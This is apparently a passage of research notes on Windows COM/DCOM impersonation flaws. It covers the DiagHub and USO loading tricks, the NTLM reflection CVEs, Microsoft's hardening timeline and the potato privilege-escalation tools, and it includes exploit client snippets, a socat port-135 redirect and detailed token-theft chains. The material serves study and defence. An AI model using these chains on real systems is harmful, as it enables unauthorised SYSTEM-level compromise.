- The client-server call path is: `Client → Proxy → COM library/RPC runtime → ALPC or TCP/NP transport → Stub → Server object`. Marshalling is NDR (type-less "stubless" proxies) or type-library driven (`oleaut32`). All security context transfer relies on the impersonation contract below.
|
||||||
|
|
||||||
|
### 1.2 The impersonation contract (precision)
|
||||||
|
|
||||||
|
**Client side** — two levels:
|
||||||
|
|
||||||
|
1. Process-wide, once: `CoInitializeSecurity(pSecDesc, cAuthSvc, asAuthSvc, pReserved1, dwAuthnLevel, dwImpLevel, pAuthList, dwCapabilities, pReserved3)`.
|
||||||
|
2. Per-proxy (what matters for exploitation): `CoSetProxyBlanket(pProxy, dwAuthnSvc, dwAuthzSvc, pServerPrincName, dwAuthnLevel, dwImpLevel, pAuthInfo, dwCapabilities)` — a wrapper for `IClientSecurity::SetBlanket`.
|
||||||
|
|
||||||
|
Key constants (verified):
|
||||||
|
|
||||||
|
| Constant | Value | Meaning |
|
||||||
|
|---|---|---|
|
||||||
|
| `RPC_C_IMP_LEVEL_DEFAULT` | 0 | |
|
||||||
|
| `RPC_C_IMP_LEVEL_ANONYMOUS` | 1 | token unusable |
|
||||||
|
| `RPC_C_IMP_LEVEL_IDENTIFY` | 2 | server can identify client only — **token cannot be used to access objects** |
|
||||||
|
| `RPC_C_IMP_LEVEL_IMPERSONATE` | 3 | server may act as client **locally** |
|
||||||
|
| `RPC_C_IMP_LEVEL_DELEGATE` | 4 | act as client off-machine (Kerberos only) |
|
||||||
|
| `EOAC_STATIC_CLOAKING` | 0x20 | proxy uses the token captured at blanket-set time |
|
||||||
|
| `EOAC_DYNAMIC_CLOAKING` | 0x40 | proxy uses the *current thread* token per call |
|
||||||
|
|
||||||
|
Auth levels: `RPC_C_AUTHN_LEVEL_CONNECT=2` … `PKT_INTEGRITY=5`, `PKT_PRIVACY=6` (matters for the KB5004442 / CVE-2021-26414 DCOM hardening).
|
||||||
|
|
||||||
|
**Server side** — the correct pattern:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
DWORD impLevel; DWORD authnSvc, authzSvc, authnLevel, caps; RPC_AUTHZ_HANDLE privs;
|
||||||
|
CoQueryClientBlanket(&authnSvc, &authzSvc, NULL, &authnLevel, &impLevel, &privs, &caps);
|
||||||
|
if (impLevel < RPC_C_IMP_LEVEL_IMPERSONATE) return E_ACCESSDENIED; // often missing!
|
||||||
|
HRESULT hr = CoImpersonateClient(); // thread token := client's token
|
||||||
|
/* ... privileged operation performed AS THE CLIENT ... */
|
||||||
|
CoRevertToSelf();
|
||||||
|
```
|
||||||
|
|
||||||
|
Transport equivalents: RPC servers use `RpcImpersonateClient()`/`RpcRevertToSelf()`; named-pipe servers use `ImpersonateNamedPipeClient()`/`RevertToSelf()`; kernel-side equivalent is `PsImpersonateClient` gated by `SeTokenCanImpersonate`.
|
||||||
|
|
||||||
|
### 1.3 How the contract fails (the LPE bug taxonomy)
|
||||||
|
|
||||||
|
1. **No impersonation at all** — server does file/registry/process ops as SYSTEM on attacker-controlled paths (the classic privileged-file-operation bug class).
|
||||||
|
2. **Late/short-lived impersonation** — server impersonates, checks access, then `RevertToSelf()` and performs the write as SYSTEM (the StorSvc `SvcMoveFileInheritSecurity` bug used in the DiagHub chain).
|
||||||
|
3. **Identification-token confusion** — server gets only an IDENTIFY token; use of it fails with error 1346 `ERROR_BAD_IMPERSONATION_LEVEL`. This is why early RoguePotato experiments got "useless" tokens and why Microsoft's CLSID hardening downgraded tokens to Identification.
|
||||||
|
4. **Cloaking confusion** — static vs dynamic cloaking picks the wrong token when the server itself makes outbound calls (relevant to relay/reflection chains).
|
||||||
|
5. **Cross-session / "interactive user" activation** — AppID `RunAs = Interactive User` objects instantiated from session 0 or another user's session (Session Moniker chain, CVE-2017-0100).
|
||||||
|
6. **Marshalled-by-reference leaks** — server returns live objects that were never meant to cross the boundary (trapped objects).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. CASE STUDY — DIAGHUB (Forshaw, Project Zero, April 2018)
|
||||||
|
|
||||||
|
**Source:** "Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege" — googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html (mirror: projectzero.google). Companion bugs: P0 issues 1427 & 1428.
|
||||||
|
|
||||||
|
### 2.1 The service
|
||||||
|
|
||||||
|
- **Microsoft (R) Diagnostics Hub Standard Collector Service** ("DiagHub"), introduced in Windows 10 (Win7/8.1 analog: "IE ETW Collector"). Collects ETW diagnostics on behalf of sandboxed apps (Edge/IE). Runs as **SYSTEM**. Ships in `DiagnosticsHub.StandardCollector.Service.exe` + `DiagnosticsHub.StandardCollector.Runtime.dll`.
|
||||||
|
- History of abuse: previously exploited by **Lokihardt** (sandbox escape) and Forshaw (user→SYSTEM). Later CVEs kept landing: **CVE-2018-0952** (Atredis Partners PoC, github.com/atredispartners/CVE-2018-0952-SystemCollector), and a later case-sensitivity directory-traversal EoP (irsl PoC, github.com/irsl/microsoft-diaghub-case-sensitivity-eop-cve).
|
||||||
|
|
||||||
|
### 2.2 The DCOM object (exact IDs)
|
||||||
|
|
||||||
|
- **CLSID: `{42CBFAA7-A4A7-47BB-B422-BD10E9D02700}`** ("Diagnostics Hub Standard Collector Service"), DCOM-activatable by normal users *and* AppContainer/LPAC sandboxes.
|
||||||
|
- Interfaces: `IMarshal`, `IUnknown`, `IStandardCollectorAuthorizationService` (IID `2D2AC45D-03BB-4B8A-8EFE-93EF98217054`), **`IStandardCollectorService` (IID `0D8AF6B7-EFD5-4F6D-A834-314740AB8CAA`)**, proxy CLSID `4323664B-B884-4929-8377-D2FD097F7BD3`.
|
||||||
|
- `IStandardCollectorService` has 8 methods (3 `IUnknown` + 5): `CreateSession`, `GetSession`, `DestroySession`, `DestroySessionAsync`, `AddLifetimeMonitorProcessIdForSession` (names recovered via OleViewDotNet IPID→VTable workflow + WinDbg `dqs DiagnosticsHub_StandardCollector_Runtime+0x36C78 L8`; signatures via OVDN "View Proxy Definition" NDR decompilation).
|
||||||
|
|
||||||
|
### 2.3 The load-anything primitive
|
||||||
|
|
||||||
|
`ICollectionSession::AddAgent(dllName, guid)` — simplified server code:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
void EtwCollectionSession::AddAgent(LPWCSTR dll_path, REFGUID guid) {
|
||||||
|
WCHAR valid_path[MAX_PATH];
|
||||||
|
if (!GetValidAgentPath(dll_path, valid_path)) return E_INVALID_AGENT_PATH;
|
||||||
|
HMODULE mod = LoadLibraryExW(valid_path, nullptr, LOAD_WITH_ALTERED_SEARCH_PATH);
|
||||||
|
dll_get_class_obj = GetProcAddress(hModule, "DllGetClassObject");
|
||||||
|
return dll_get_class_obj(guid);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
`GetValidAgentPath` constrains the load to **C:\Windows\System32 but not to any extension**. So: write any file (e.g. `license.rtf`) whose contents are a valid DLL exporting `DllGetClassObject` into System32 → call `CreateSession` then `AddAgent(L"license.rtf", guid)` → code runs **as SYSTEM, outside DllMain/loader lock**. Client skeleton (from the blog):
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
CoCreateInstance(CLSID_CollectorService, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&service));
|
||||||
|
SessionConfiguration config = {}; config.version = 1;
|
||||||
|
config.monitor_pid = GetCurrentProcessId(); CoCreateGuid(&config.guid);
|
||||||
|
config.path = SysAllocString(L"C:\\Dummy");
|
||||||
|
service->CreateSession(&config, nullptr, &session);
|
||||||
|
session->AddAgent(L"dummy.dll", agent_guid);
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2.4 Full exploit chain (issue 1428 — arbitrary file write → SYSTEM)
|
||||||
|
|
||||||
|
1. Storage Service (`StorSvc`) RPC method `SvcMoveFileInheritSecurity` impersonates the caller, `MoveFileEx()`s a file, **then reverts impersonation** and calls `SetNamedSecurityInfo()` as SYSTEM to apply inherited ACEs. Two bugs: failed-ACL revert allows arbitrary file creation (issue 1427); and via **hard links**, `SetNamedSecurityInfo` applies attacker-chosen ACEs to *any* file SYSTEM can `WRITE_DAC` (issue 1428).
|
||||||
|
2. Pick a non-TrustedInstaller-owned, non-critical System32 file — the blog uses **`C:\Windows\System32\license.rtf`** (enumerate candidates with NtObjectManager's `Get-AccessibleFile -AccessRights WriteDac` run against the StorSvc process token).
|
||||||
|
3. Overwrite `license.rtf` with a DLL implementing `DllGetClassObject`.
|
||||||
|
4. DiagHub `CreateSession` → `AddAgent("license.rtf", …)` → **DLL loaded as SYSTEM**.
|
||||||
|
5. (Same primitive was later used by the Metasploit module for **CVE-2019-0841** AppXSvc hardlink EoP, which credits "James Forshaw — Code creating hard links and communicating with DiagHub service".)
|
||||||
|
|
||||||
|
### 2.5 Microsoft's mitigation
|
||||||
|
|
||||||
|
- **Windows 10 19H1 / 1903**: DiagHub hardened with a **`ProcessImageLoadPolicy`** restricting the collector to loading **Microsoft-signed binaries only** (first flagged publicly by @x9090 and @decoder_it on Twitter, Jan/Feb 2019). Killed the "load arbitrary extension from System32" trick. The USO trick was its replacement — then that was hardened too (2020-era Insider builds).
|
||||||
|
- Lesson: MS increasingly kills the *weaponization primitive* (loader policy, signing-level checks, KnownDlls) rather than each file-write bug — see also the oleaut32 `VerifyTrust` signing-level check.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. CASE STUDY — USO / UPDATE ORCHESTRATOR (itm4n, Aug 2019)
|
||||||
|
|
||||||
|
**Sources:** "Weaponizing Privileged File Writes with the USO Service — Part 1" (itm4n.github.io/usodllloader-part1/, 2019-08-17) and "Part 2" (itm4n.github.io/usodllloader-part2/, 2019-08-19). Tool: github.com/itm4n/UsoDllLoader.
|
||||||
|
|
||||||
|
### 3.1 The primitive
|
||||||
|
|
||||||
|
- **Update Session Orchestrator** service (`UsoSvc`, `C:\Windows\System32\usosvc.dll`, runs as SYSTEM) attempts to load a **non-existent DLL `windowscoredeviceinfo.dll` from System32 every time an Update Session is created**.
|
||||||
|
- Any privileged-file-write primitive → drop payload as `C:\Windows\System32\windowscoredeviceinfo.dll` → trigger a scan via the built-in undocumented client `usoclient.exe StartScan` (or directly via COM) → code as SYSTEM **outside DllMain** (the service calls a specific export after load; also avoids loader-lock constraints).
|
||||||
|
- Not a vulnerability by itself — a **weaponization bridge**, the successor to DiagHub after 1903. itm4n's repo notes (2020-06): trick broken on then-current Insider builds; still worked on mainstream Win10 at that time; later patched.
|
||||||
|
|
||||||
|
### 3.2 The COM interface map (exact IDs)
|
||||||
|
|
||||||
|
- **CLSID `UpdateSessionOrchestrator` = `{B91D5831-B1BD-4608-8198-D72E155020F7}`**; AppID `{E7299E79-75E5-47BB-A03D-6D319FB7F886}`; server `usosvc.dll`.
|
||||||
|
- `CoCreateInstance` requests IID **`IUpdateSessionOrchestrator` = `{07F3AFAC-7C8A-4CE7-A5E0-3D24EE8A77E0}`**; its 5 methods past `IUnknown`: `CreateUpdateSession`, `GetCurrentActiveUpdateSessions`, `LogTaskRunning`, `CreateUxUpdateManager`, `CreateUniversalOrchestrator` (recovered from `usosvc.dll` VTable).
|
||||||
|
- **`IUsoSessionCommon` IID = `{FCCC288D-B47E-41FA-970C-935EC952F4A4}`** — 68 methods; OleViewDotNet auto-generated the interface code. Another GUID seen in a `QueryInterface`: `C57692F8-8F5F-47CB-9381-34329B40285A`.
|
||||||
|
- Reconstructed "StartScan" client flow (verbatim from part 2):
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
CoInitializeEx(0, COINIT_MULTITHREADED);
|
||||||
|
CoCreateInstance(CLSID_UpdateSessionOrchestrator, nullptr, CLSCTX_LOCAL_SERVER,
|
||||||
|
IID_PPV_ARGS(&updateSessionOrchestrator));
|
||||||
|
updateSessionOrchestrator->LogTaskRunning(L"StartScan");
|
||||||
|
updateSessionOrchestrator->CreateUpdateSession(1, &IID_IUsoSessionCommon, &usoSessionCommon);
|
||||||
|
CoSetProxyBlanket(usoSessionCommon, RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
|
||||||
|
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_DEFAULT,
|
||||||
|
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, NULL);
|
||||||
|
usoSessionCommon->Proc21(0, 0, L"ScanTriggerUsoClient"); // VTable[21] = StartScan trigger
|
||||||
|
CoUninitialize();
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3.3 RE methodology demonstrated
|
||||||
|
|
||||||
|
Static: `symchk` for PDBs → string xref `"StartScan"` → `PerformOperationOnSession()`/`PerformOperationOnManager()`. Dynamic: breakpoint on `_guard_dispatch_icall_fptr` after `CoCreateInstance` → WinDbg `dqs` on proxy VTable (`usoapi!IUpdateSessionOrchestratorProxyVtbl`) → match `ObjectStublessClientN` slots to server-side symbols in `usosvc.dll`. OleViewDotNet failed to expand the object (`ClassFactory cannot supply requested class`) — worked around by client-side dynamic analysis; a realistic "tool fails, pivot" moment. **Note the `CoSetProxyBlanket(... RPC_C_IMP_LEVEL_IMPERSONATE ...)` call** — the client must *offer* impersonation; this is the contract in the wild.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. DCOM NTLM REFLECTION — THE BUG CLASS, THE REAL CVE, AND THE HARDENING TIMELINE
|
||||||
|
|
||||||
|
### 4.1 The root bug: CVE-2015-2370 (MS15-076, July 14 2015) — Project Zero issue 325
|
||||||
|
|
||||||
|
- Reported by James Forshaw 2015-04-09: **"Windows: DCOM DCE/RPC Local NTLM Reflection Elevation of Privilege"** (bugs.chromium.org/p/project-zero/issues/detail?id=325; follow-on to unfixed WebDAV NTLM reflection issue 128).
|
||||||
|
- Mechanism: when a DCOM object reference is marshalled by reference (`OBJREF_STANDARD`), the OBJREF carries RPC **string bindings** (TowerID + address string). Specifying TowerID `NCACN_IP_TCP` and a string `host[port]` makes the **object resolver (rpcss, acting for the privileged server) open a TCP connection to an arbitrary local port** and perform NTLM authentication per the security bindings. A local attacker relays that SYSTEM NTLM exchange back into a *local* `AcceptSecurityContext()` loop → negotiates a **SYSTEM impersonation token locally** (or, in Forshaw's original PoC, reflects the auth to the local DCOM activation service to activate **`CLSID_Package {F20DA720-C02F-11CE-927B-0800095AE340}`** as SYSTEM; a variant wrote a file to `C:\Windows (2)`).
|
||||||
|
- Fix: MS15-076 — "the authentication implementation in the RPC subsystem … does not prevent DCE/RPC connection reflection" — Microsoft added reflection protections in the RPC runtime (`rpcrt4.dll`).
|
||||||
|
- Weaponization history: NetSPI's "Trebuchet" (blog: "Exploiting MS15-076 (CVE-2015-2370)") turned the PoC into arbitrary file write using Forshaw's SyScan'15 symlink/junction tricks (junction + `\RPC Control` object-manager symlinks via CreateSymlink). **This bug is the direct ancestor of every potato.**
|
||||||
|
|
||||||
|
### 4.2 CVE-2017-0100 (MS17-012, March 2017) — what it actually is
|
||||||
|
|
||||||
|
- Official title: **"Windows HelpPane Elevation of Privilege Vulnerability"** — "a DCOM object in **Helppane.exe**, configured to run as the interactive user, fails to properly authenticate the client." Local users gain privileges via a crafted application (Windows 7 SP1 → 10 1607, Server 2008 R2 → 2016).
|
||||||
|
- Context: part of Forshaw's **COM Session Moniker** EoP research (session-moniker activation of an interactive-user DCOM class from another session; Helppane then executed attacker content with insufficient client verification). Microsoft's fix *checked the wrong thing* — Forshaw's follow-up report **"Windows: Bad Fix for COM Session Moniker EoP"** became **CVE-2017-0298** (the HelpPane check compared integrity levels rather than verifying admin group; IL is not a security boundary; UIAccess IL-ratcheting could defeat it). Public text: exploit-db/0day.today ID 28134.
|
||||||
|
- Teaching point: verify *who the caller is* (client blanket/identity) not *how elevated their token looks*.
|
||||||
|
|
||||||
|
### 4.3 Microsoft's DCOM hardening timeline
|
||||||
|
|
||||||
|
| Date | Change | Impact |
|
||||||
|
|---|---|---|
|
||||||
|
| Jul 2015 | **MS15-076 / CVE-2015-2370** — RPC runtime blocks DCE/RPC connection reflection | Kills raw reflection; potato family moves to local token negotiation |
|
||||||
|
| Mar 2017 | **MS17-012 / CVE-2017-0100** (then CVE-2017-0298 bad-fix fix) | Session Moniker chain closed |
|
||||||
|
| May 2017 | **CVE-2017-0213** (COM Aggregate Marshaler, `CStdMarshal::Finish_RemQIAndUnmarshal2` RQI2 unpack bug) & **CVE-2017-0214** (type-library load validation) patched — both Forshaw; PoC: BITS `SetNotifyInterface` → load attacker type lib under impersonation → **scriptlet moniker** → code exec in BITS as SYSTEM. 0213 later entered CISA KEV | Type-library attack surface shrinks |
|
||||||
|
| Oct 2018 (RS5) | **Silent rpcss fix (Win10 1809 / Server 2019)**: OXID binding no longer built via string concat `host[port]`; new `CreateRemoteBindingToOR()` builds bindings via `RpcStringBindingCompose()` → `host[port][135]` fails parsing; also remote OXID queries forced to **port 135 only** and processed as **ANONYMOUS LOGON**; abusable-CLSID set hardened so captured tokens become **Identification** tokens; PrintNotify-style CLSIDs gated to **INTERACTIVE** group | Kills Rotten/JuicyPotato (decoder's post "No more rotten/juicy potato?", 2018-10-29) |
|
||||||
|
| 2019 (19H1/1903) | DiagHub **ProcessImageLoadPolicy** (MS-signed loads only) | Kills DiagHub weaponization |
|
||||||
|
| Jun 2021+ | **KB5004442 / CVE-2021-26414** — DCOM server hardening: minimum `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY` enforced for remote DCOM activation (phased) | Mostly a *remote* DCOM mitigation |
|
||||||
|
| Jan 2023 | **CVE-2023-21746** — NTLM local-auth context-swap fix in `msv1_0.dll` (`SsprHandleChallengeMessage`: if `ISC_REQ_UNVERIFIED_TARGET_NAME` set and SPN present → SPN forced NULL → SMB anti-reflection on `cifs/127.0.0.1` fires) | Kills LocalPotato SMB scenario |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. THE POTATO FAMILY — MECHANISMS, REQUIREMENTS, BUILD RANGES, AND *EXACTLY WHAT IS COM*
|
||||||
|
|
||||||
|
**Common prerequisites (all potatoes):** attacker code runs as an account holding **`SeImpersonatePrivilege`** and/or **`SeAssignPrimaryTokenPrivilege`** (IIS AppPool, MSSQL service, LOCAL/NETWORK SERVICE, scheduled-task service accounts). Token type math: `CreateProcessWithTokenW` (needs impersonate-capable primary token dup), `CreateProcessAsUser` (needs SeAssignPrimaryTokenPrivilege). **COM appears in this family in exactly three roles: (a) the *trigger* — DCOM activation (`CoGetInstanceFromIStorage` with a crafted `IStorage`) that forces a privileged COM server to authenticate to the attacker; (b) the *OXID resolver* — rpcss's `IObjectExporter::ResolveOxid2` interface (UUID `99FCFEC4-5260-101B-BBCB-00AA0021347A`) that locates objects; (c) the *callback surface* — attacker-implemented COM objects (e.g. fake `IUnknown`/`IRemUnknown2` server) into which the privileged side calls back, enabling `CoImpersonateClient()`/`RpcImpersonateClient()`. Everything else — NTLM relay, named-pipe impersonation, MS-RPRN/MS-EFSR coercion, SMB context swapping — is RPC/SMB/SSPI, not COM.**
|
||||||
|
|
||||||
|
### 5.0 Pre-history (one line each)
|
||||||
|
|
||||||
|
- **Hot Potato** (FoxGlove, Jan 2016): NBNS spoofing + WPAD + Windows Update HTTP NTLM → SYSTEM; MS16-075 (Metasploit `windows/local/ms16_075_reflection`). No COM.
|
||||||
|
- **RottenPotatoNG** (FoxGlove): official C++ port of Rotten without Meterpreter/Incognito dependency.
|
||||||
|
|
||||||
|
### 5.1 RottenPotato (FoxGlove Security — @breenmachine & @vvalien1, Sep 2016)
|
||||||
|
|
||||||
|
- **COM part:** `CoGetInstanceFromIStorage(NULL, CLSID_BITS, …)` with hardcoded **BITS CLSID `{4991D34B-80A1-4291-83B6-3328366B9097}`** and a hand-crafted `IStorage` whose string bindings point at `127.0.0.1:6666` → forces the BITS COM server (SYSTEM) to speak DCOM/RPC to the attacker's TCP listener.
|
||||||
|
- **Non-COM part:** byte-level relay of the RPC conversation to the real OXID resolver on TCP 135; when the NTLMSSP exchange begins, MITM swaps the Type 2 **challenge + "Reserved" field** (the Reserved field is a reference to the local SecHandle — *the* critical trick) with output of local `AcquireCredentialsHandle` + `AcceptSecurityContext()`; SYSTEM's Type 3 completes the *local* authentication → `ImpersonateSecurityContext()` → SYSTEM impersonation token → Meterpreter Incognito to use it.
|
||||||
|
- **Works:** ≤ Windows 10 **1803** / Server ≤ 2016 era (killed by the 1809 OXID changes). 100% reliable, instant, cross-version at the time.
|
||||||
|
- Refs: foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/; github.com/foxglovesec/RottenPotato.
|
||||||
|
|
||||||
|
### 5.2 JuicyPotato (ohpe/@Giutro & @decoder_it, Aug 2018)
|
||||||
|
|
||||||
|
- "RottenPotatoNG on steroids": **arbitrary CLSID** (`-c`), arbitrary local COM-listen port (`-l`), arbitrary program (`-p`), `-t *` tries both `CreateProcessWithTokenW` and `CreateProcessAsUser`. No Meterpreter.
|
||||||
|
- **Key research:** brute-forced/enumerated abusable CLSIDs — a usable CLSID must (1) be instantiable by the current (service) user, (2) implement **`IMarshal`**, (3) run as an elevated account. Per-OS CLSID lists published: ohpe.it/juicy-potato/CLSID/ (e.g., BITS `{4991D34B…}`, wuauserv/aucore {e60687f7-01a1-40aa-86ac-db1cbf673334} etc.). DiagHub's own CLSID `{42CBFAA7-A4A7-47BB-B422-BD10E9D02700}` appears in the Server 2016 list.
|
||||||
|
- **Works:** up to Win10 **1803** / Server 2016; broken by 1809/2019 silent fix.
|
||||||
|
- Refs: ohpe.it/juicy-potato/; github.com/ohpe/juicy-potato; decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/.
|
||||||
|
|
||||||
|
### 5.3 RogueWinRM (side quest; part of SweetPotato)
|
||||||
|
|
||||||
|
BITS, when started, attempts HTTP NTLM auth to `127.0.0.1:5985` (WinRM) — if WinRM is off (default on clients), an unprivileged user can bind 5985 and capture SYSTEM HTTP NTLM → token. github.com/antonioCoco/RogueWinRM. Not COM itself (HTTP), but BITS trigger is the same service family. Ref: decoder.cloud "From NETWORK SERVICE to SYSTEM" + RogueWinRM repo.
|
||||||
|
|
||||||
|
### 5.4 RoguePotato (@decoder_it & @splinter_code, May 2020)
|
||||||
|
|
||||||
|
The comeback after the 1809 kills. Verified from the primary source (decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/):
|
||||||
|
|
||||||
|
1. **COM trigger (COM):** `CoGetInstanceFromIStorage` with BITS CLSID `{4991d34b-80a1-4291-83b6-3328366b9097}` (default; `-c` to override), `IStorage` string bindings pointing at a **remote attacker IP** — because post-1809 the OXID resolver is only reachable on **port 135** and remote OXID queries authenticate as **ANONYMOUS LOGON** (useless directly).
|
||||||
|
2. **Redirect:** attacker box runs `socat tcp-listen:135,reuseaddr,fork tcp:<victim>:9999` → forwards to the fake **RogueOxidResolver** RPC server (can run on victim on port 9999, or standalone on attacker Windows box).
|
||||||
|
3. **Fake OXID resolver (COM):** implements `IObjectExporter` — answers `ServerAlive2` with `RPC_S_OK`, and forges **`ResolveOxid2`** to return a `DUALSTRINGARRAY` with TowerID **`ncacn_np`** and endpoint string **`localhost/pipe/roguepotato[\pipe\epmapper]`** plus security bindings naming `NT AUTHORITY\NETWORK SERVICE`. (First attempt with `ncacn_ip_tcp:localhost[9998]` + `IRemUnknown2` + `RpcImpersonateClient()` yielded only an **Identification** token — dead end; the named-pipe transport was the fix.)
|
||||||
|
4. **Path-validation bug (borrowed from PrintSpoofer, credit @itm4n & @jonasLyk):** `/` in the hostname is normalized into the pipe path → rpcss connects to attacker pipe **`\\.\pipe\roguepotato\pipe\epmapper`** (protocol forces the `\pipe\epmapper` suffix; the `/pipe/roguepotato` prefix redirects it).
|
||||||
|
5. **Impersonation (not COM):** `ImpersonateNamedPipeClient()` → **NETWORK SERVICE impersonation token** with the rpcss logon-session LUID.
|
||||||
|
6. **Token kidnapping:** because rpcss/RpcEptMapper (NETWORK SERVICE) *shares a logon session with SYSTEM-token-holding threads* (per Forshaw's "Sharing a Logon Session a Little Too Much", tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html), enumerate handles in the rpcss process, duplicate a SYSTEM token, `CreateProcessAsUser()`/`CreateProcessWithToken()` (with Session-0 window-station permission fix) → SYSTEM.
|
||||||
|
- **Requirements:** SeImpersonatePrivilege; attacker-controlled machine reachable on TCP 135 from victim (or local resolver + port proxy); **Works:** Win10 **1809+** / Server **2019+** (exactly where Juicy died).
|
||||||
|
|
||||||
|
### 5.5 PrintSpoofer (itm4n, Mar 2020)
|
||||||
|
|
||||||
|
- **Coercion (pure RPC, not COM):** MS-RPRN **`RpcRemoteFindFirstPrinterChangeNotificationEx`** (SpoolSample-style trigger; original coercion PoC: github.com/leechristensen/SpoolSample) forces the **Print Spooler (SYSTEM)** to connect to a notification pipe.
|
||||||
|
- **The bug:** the printer-name validation accepts `\\HOSTNAME/pipe/foo`, which is later normalized to **`\\HOSTNAME\pipe\foo\pipe\spoolss`** — redirecting the SYSTEM spooler into the attacker's pipe server `\\.\pipe\foo\pipe\spoolss` despite `\pipe\spoolss` being occupied.
|
||||||
|
- **Token half (not COM):** `CreateNamedPipe` → client connects → `ImpersonateNamedPipeClient()` → `OpenThreadToken` → `DuplicateTokenEx` (primary) → `CreateProcessWithTokenW` → SYSTEM.
|
||||||
|
- **Requirements:** SeImpersonatePrivilege; spooler running. **Works:** Win10, Server 2016/2019 (and older with spooler); **Patch status:** unpatched at publication; treat as *build-dependent today* — later Windows builds hardened spooler behaviors and PrintNotify-based alternatives exist for hardened/no-spooler hosts (flag for verification per target build; medium confidence).
|
||||||
|
|
||||||
|
### 5.6 SweetPotato (@_EthicalChaos_ / CCob, 2020)
|
||||||
|
|
||||||
|
- **C# unified toolkit**: "Local Service to SYSTEM privilege escalation from Windows 7 to Windows 10 / Server 2019" — bundles the RottenPotato code base, the weaponized JuicyPotato BITS+WinRM approach (credit @decoder_it/@Guitro), RogueWinRM, and PrintSpoofer; auto-attempts the correct technique (`-c` CLSID default BITS `{4991D34B-…}`, `-m` method). COM usage = inherited from Rotten/Juicy (DCOM trigger) + named-pipe half from PrintSpoofer.
|
||||||
|
- Refs: github.com/CCob/SweetPotato; ethicalchaos.dev/2020/04/13/sweetpotato-local-service-to-system-privesc/; pentestpartners.com/security-blog/sweetpotato-service-to-system/; decoder's companion analysis "We thought they were potatoes but they were beans" (decoder.cloud/2019/12/06/).
|
||||||
|
|
||||||
|
### 5.7 JuicyPotatoNG (@decoder_it & @splinter_code, Sep 2022)
|
||||||
|
|
||||||
|
- Blog: decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/; repo github.com/antonioCoco/JuicyPotatoNG. Default CLSID **`{854A20FB-2D44-457D-992F-EF13785D2B51}` (PrintNotify — "Printer Extensions and Notifications" service, SYSTEM; present Win10/11 + Server 2016/2019/2022)**, default COM-server port **10247**.
|
||||||
|
- **Problem solved:** post-1809, surviving CLSIDs require the caller to be **INTERACTIVE**, which service accounts are not.
|
||||||
|
- **Trick 1 (token enrichment):** `LogonUser()` with **logon type 9 (`NewCredentials`)** — LSASS clones the caller's token and **adds the INTERACTIVE SID** (no impersonation privilege needed for the clone) → the enriched token can activate the INTERACTIVE-gated CLSIDs.
|
||||||
|
- **Trick 2 (token capture):** local COM server on 10247 + **SSPI hook on `AcceptSecurityContext()`** to intercept the privileged DCOM client's NTLM exchange as it is processed in-process — avoids `RpcServerUseProtseqEp` (which would hold the port) and, per the authors, relaxes requirements vs `RpcImpersonateClient()`. Conceptually rooted in Forshaw's Kerberos-DCOM relay work ("Windows Exploitation Tricks: Relaying DCOM Authentication", Oct 2021).
|
||||||
|
- **Works:** Win10 **1809+ / Win11**, Server **2019+ / 2022** (i.e., post-Juicy world). Verified PoC output: `[+] authresult success {854A20FB-…};NT AUTHORITY\SYSTEM;Impersonation`.
|
||||||
|
- Also see decoder's companion piece "The impersonation game" (decoder.cloud/2020/05/30/, a.k.a. "Juicy2" lineage).
|
||||||
|
|
||||||
|
### 5.8 LocalPotato (@decoder_it & @splinter_code, Feb 2023) — CVE-2023-21746
|
||||||
|
|
||||||
|
**Precision — what is COM vs not:** *COM/DCOM is used only as the trigger; the vulnerability is in NTLM local authentication inside LSASS (`msv1_0.dll`); the write primitive is SMB. It is NOT a DCOM bug.*
|
||||||
|
|
||||||
|
1. **Trigger (COM):** `CoGetInstanceFromIStorage` with a SYSTEM-authenticating CLSID — default **`{854A20FB-2D44-457D-992F-EF13785D2B51}` (PrintNotify)**; alternatives: **`{90F18417-F0F1-484E-9D3C-59DCEEE5DBD8}` (ActiveX Installer Service "AxInstSv", Win10/11 only)** and **`{A9819296-E5B3-4E67-8226-5E72CE9E1FB7}` (Universal Print Management Service "McpManagementService", Win11 + Server 2022)**. The fake local OXID resolver (JuicyPotatoNG-style SSPI hooks, port 10271 default) returns security bindings containing a **crafted SPN `cifs/127.0.0.1`**, causing the privileged DCOM client to initiate NTLM with `ISC_REQ_UNVERIFIED_TARGET_NAME` and that SPN.
|
||||||
|
2. **The bug (NTLM/LSASS, not COM):** in *NTLM local authentication*, Type 2 messages carry a security-context handle referencing an in-memory server context. The attacker runs a rogue client against the **local SMB server (127.0.0.1:445)** in parallel, and **swaps the context handles** between the two flows — LSASS binds the privileged (SYSTEM) identity to the *attacker's* SMB session ("Context Swapping").
|
||||||
|
3. **Result:** attacker's SMB client is authenticated to `\\127.0.0.1\C$` **as SYSTEM** → arbitrary file read/write (PoC writes raw SMB2 packets per MS-SMB2).
|
||||||
|
